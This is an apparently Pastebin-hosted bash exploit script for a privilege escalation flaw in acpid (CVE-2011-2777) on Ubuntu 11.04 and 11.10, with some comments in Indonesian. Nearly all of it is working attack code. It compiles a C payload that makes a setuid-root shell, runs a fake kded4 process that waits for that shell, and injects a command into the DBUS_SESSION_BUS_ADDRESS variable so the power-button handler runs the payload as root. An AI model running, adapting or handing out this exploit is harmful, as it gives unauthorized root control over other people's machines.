document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. ##################################################################
  2. # Exploit Title: Acpid Privilege Boundary Crossing Vulnerability #
  3. # Google Dork:                                                   #
  4. # Date: 23-11-2011                                               #
  5. # Author: otr                                                    #
  6. # Software Link: https://launchpad.net/ubuntu/+source/acpid      #
  7. # Version: 1:2.0.10-1ubuntu2                                     #
  8. # Tested on: Ubuntu 11.10, Ubuntu 11.04                          #
  9. # CVE : CVE-2011-2777                                            #
  10. ##################################################################
  11.  
  12. #!/bin/bash
  13. PAYLOADEXE="/var/crash/payload"
  14. PAYLOADC="/var/crash/payload.c"
  15. KDEDC="kded4.c"
  16. KDEDEXE="kded4"
  17. TRIGGER="/etc/acpi/powerbtn.sh"
  18. rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC
  19. echo "[+] Setting umask ke 0 untuk writable files."
  20. umask 0
  21.  
  22. echo "[+] Preparing binary payload."
  23. # mencoba untuk mendapatkan suid root shell, jika tidak kita hanya akan mendapatkan
  24. # shell dari user lain
  25. cat > $PAYLOADC <<_EOF
  26. #include <sys/stat.h>
  27. void main(int argc, char **argv)
  28. {
  29.     if(!strstr(argv[0],"shell")){
  30.         printf("[+] Preparing suid shell.\\n");
  31.         system("cp /var/crash/payload /var/crash/shell");
  32.         setuid(0);
  33.         setgid(0);
  34.         chown ("/var/crash/shell", 0, 0);
  35.         chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
  36.     }else{
  37.         execl("/bin/sh", "/bin/sh", "-i", 0);
  38.     }
  39. }
  40. _EOF
  41. gcc -w -o $PAYLOADEXE $PAYLOADC
  42.  
  43. echo "[+] Preparing fake kded4 process."
  44. cat > $KDEDC <<_EOF
  45. #include <unistd.h>
  46. void main (){
  47.     while(42){
  48.         sleep(1);
  49.         if( access( "/var/crash/shell" , F_OK ) != -1 ) {
  50.             execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
  51.             exit(0);
  52.         }
  53.     }
  54. }
  55. _EOF
  56.  
  57. gcc -w -o $KDEDEXE $KDEDC
  58. rm -f $KDEDC $PAYLOADC
  59.  
  60. echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
  61. export DBUS_SESSION_BUS_ADDRESS="xxx & $PAYLOADEXE"
  62.  
  63. echo "[+] Starting kded4."
  64. echo "[+] Trying to PMS the system."
  65. echo "[+] Menunggu Tombol power di tekan ."
  66. echo "[+] anda akan mendapatkan shell pada console ini."
  67. ./$KDEDEXE
  68.  
  69. rm $KDEDEXE
');